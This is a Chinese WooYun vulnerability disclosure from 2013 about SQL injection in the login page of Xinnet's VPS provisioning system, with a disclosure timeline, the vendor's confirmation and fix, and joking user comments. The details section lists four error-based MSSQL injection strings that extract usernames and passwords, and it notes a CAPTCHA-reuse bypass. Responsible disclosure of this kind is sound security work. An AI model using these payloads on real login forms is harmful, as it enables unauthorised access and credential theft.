当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-033540

漏洞标题：新网VPS自动化生产SQL注入（绕过验证码拿胡萝卜打它）

相关厂商：新网华通信息技术有限公司

漏洞作者： saviour

提交时间：2013-08-05 17:28

修复时间：2013-09-19 17:29

公开时间：2013-09-19 17:29

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：8

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-08-05： 细节已通知厂商并且等待厂商处理中
2013-08-06： 厂商已经确认，细节仅向厂商公开
2013-08-16： 细节向核心白帽子及相关领域专家公开
2013-08-26： 细节向普通白帽子公开
2013-09-05： 细节向实习白帽子公开
2013-09-19： 细节向公众公开

简要描述：

新网VPS自动化生产SQL注入

详细说明：

新网VPS自动化生产SQL注入 手工依次在登陆框输入提交 获取用户名、密码！
http://119.10.114.213/html/Login.aspx

test ' having 1=1-- 
test ' and (select top 1 col_name(object_id ('UserAccount'),1) from UserAccount)>0--
test ' and (select top 1 UserName from UserAccount)>0--
test ' and (select top 1 UserPassword from UserAccount)>0--

漏洞证明：

_20130805171343.jpg


QQ图片20130805170834.jpg


哈哈，这是啥屌丝密码？
验证码形同虚设 保证cookie及post的数据用户名之前的内容不变 验证码可多次使用

QQ图片20130805171028.jpg


QQ截图20130805174330.jpg

修复方案：

很常见的漏洞！

版权声明：转载请注明来源 saviour@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：13

确认时间：2013-08-06 14:45

厂商回复：

已收到并在修复。谢谢！

最新状态：

2014-04-09：漏洞已修复。

漏洞评价：

评论

  1. 2013-08-05 17:49 | circus ( 实习白帽子 | Rank:54 漏洞数:4 | 你会为一件事去说一句话,也会为一句话去干...)

    标题好萌。

  2. 2013-08-05 17:50 | imlonghao ( 普通白帽子 | Rank:730 漏洞数:74 )

    （绕过验证码拿胡萝卜打它） 谁加的

  3. 2013-08-05 17:54 | saviour ( 普通白帽子 | Rank:188 漏洞数:29 | Saviour.Com.Cn 网站正在备案中)

    @imlonghao 审核的人加的！

  4. 2013-08-05 18:12 | imlonghao ( 普通白帽子 | Rank:730 漏洞数:74 )

    @saviour 我就说，我刚刚没看到有这个。。。

  5. 2013-08-05 18:14 | saviour ( 普通白帽子 | Rank:188 漏洞数:29 | Saviour.Com.Cn 网站正在备案中)

    @imlonghao 哈哈，这标题我也看着逗死我了！

  6. 2013-08-05 18:55 | niliu 认证白帽子 ( 核心白帽子 | Rank:1542 漏洞数:206 | 逆流而上)

    这标题…谁那么有才

  7. 2013-08-05 19:18 | 李白 ( 普通白帽子 | Rank:142 漏洞数:29 )

    绕过验证码拿胡萝卜打它

  8. 2013-08-05 19:47 | Croxy ( 普通白帽子 | Rank:513 漏洞数:54 | 只会送人头)

    他是兔子吗。。

  9. 2013-08-05 19:48 | circus ( 实习白帽子 | Rank:54 漏洞数:4 | 你会为一件事去说一句话,也会为一句话去干...)

    @Croxy 噗= =

  10. 2013-08-05 20:53 | VIP ( 普通白帽子 | Rank:759 漏洞数:100 )

    大家好，我是一只小兔子，请尽管拿胡萝卜来打我吧！

  11. 2013-08-05 21:19 | 8点半 ( 路人 | Rank:16 漏洞数:5 | 你当哥是CPU啊，人生价值就是执行指令?)

    天天有喜

  12. 2013-08-05 21:46 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    @疯狗 肯定是你干的吧？只有你这么重口味。。还卖萌。。。

  13. 2013-08-05 22:05 | 干爹 ( 路人 | Rank:22 漏洞数:2 | 我和干爹有个关系)

    @VIP 已打~哎呀！怎么那么多翔..

  14. 2013-08-06 09:28 | 雨夜 ( 普通白帽子 | Rank:207 漏洞数:30 | 别和我谈感情，太伤钱……)

    卧槽为什么是胡萝卜，人家就是萝卜

  15. 2013-08-06 09:56 | 园长 ( 普通白帽子 | Rank:134 漏洞数:14 | 你在身边就是缘，缘分写在数据库里面。)

    @VIP 胡萝卜捅你可以打你算了。

  16. 2013-08-06 11:59 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    胡萝卜....

  17. 2013-08-06 13:33 | Finger 认证白帽子 ( 普通白帽子 | Rank:777 漏洞数:95 | 最近有人冒充该账号行骗，任何自称Finger并...)

    @雨夜 Havij的图标本来就是胡萝卜

  18. 2013-08-06 13:42 | J′aron ( 路人 | Rank:17 漏洞数:5 | 问题真实存在但是影响不大.)

    绕过验证码拿胡萝卜打它

  19. 2013-08-06 17:10 | saviour ( 普通白帽子 | Rank:188 漏洞数:29 | Saviour.Com.Cn 网站正在备案中)

    获得了13rank

  20. 2013-08-06 17:17 | Finger 认证白帽子 ( 普通白帽子 | Rank:777 漏洞数:95 | 最近有人冒充该账号行骗，任何自称Finger并...)

    @saviour 得感谢俺补图和这么萌的副标题 收费10rank

  21. 2013-08-06 17:18 | imlonghao ( 普通白帽子 | Rank:730 漏洞数:74 )

    @Finger 最近那么多没节操的东西昂~~

  22. 2013-08-06 17:25 | saviour ( 普通白帽子 | Rank:188 漏洞数:29 | Saviour.Com.Cn 网站正在备案中)

    @imlonghao @Finger 哈哈，看来我以后也要学习怎么写标题！

  23. 2013-08-06 22:10 | 雨夜 ( 普通白帽子 | Rank:207 漏洞数:30 | 别和我谈感情，太伤钱……)

    @Finger 好吧，我一直把它当成萝卜……